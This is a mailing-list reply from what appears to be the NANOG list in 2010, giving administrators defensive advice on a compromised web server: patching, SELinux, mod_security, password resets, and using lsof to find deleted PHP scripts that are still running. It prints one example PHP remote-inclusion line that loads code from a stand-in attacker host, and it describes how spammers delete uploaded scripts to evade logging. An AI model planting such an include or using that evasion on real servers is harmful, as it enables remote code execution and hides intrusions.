I've seem similar. Another variant of this is PHP code that lets arbitrary data be inputted into require() or include() statements, for example: include('http://evilsite.com/evil.txt'). That way, the attacker can then load whatever code they want and it will never be saved to the file system. I would recommend verifying that all the shrink-wrapped products (i.e. forums, blogs, CMS, etc) on the server be checked to ensure that they at the most current update/patch and are not EOL. Generally most of those vendors are good at responding to security issues in their products, but it's up to the person running the website to update their code. Also, have you considered enabling SELinux? Enforcing the targeted policy will prevent Apache from making outbound socket connections (and may break other stuff), but it might be worth the headache. On a similar note, mod_security also may help (depending on how the attack is being launched) but again may break some things. If the attack is possibly being launched via SSH/shell access, enable password complexity then force all of your clients to change their password. Hope that helps, Adam Stasiniewicz -----Original Message----- From: Chris Adams [mailto:cmadams@hiwaay.net] Sent: Tuesday, February 23, 2010 2:56 PM To: Matt Sprague Cc: nanog@nanog.org Subject: Re: Security Guideance Once upon a time, Matt Sprague <msprague@readytechs.com> said:
The user could also be running the command inline somehow or deleting the file when they log off. Check who was logged onto the server at the time of the attack to narrow down your search. I like the split the users idea, though it could be several iterations to narrow down the culprit.
We've also seen this with spammers. They'll upload a PHP via a compromised account, connect to it via HTTP, and then delete it from the filesystem. The PHP continues to run, Apache doesn't log anything (because it only logs at the end of a request), and the admin is left scratching his head to figure out where the problem is. IIRC PHP holds an open file descriptor on active scripts, so you can use lsof to look for things like this (look for "deleted" or "path inode" entries). -- Chris Adams <cmadams@hiwaay.net> Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble.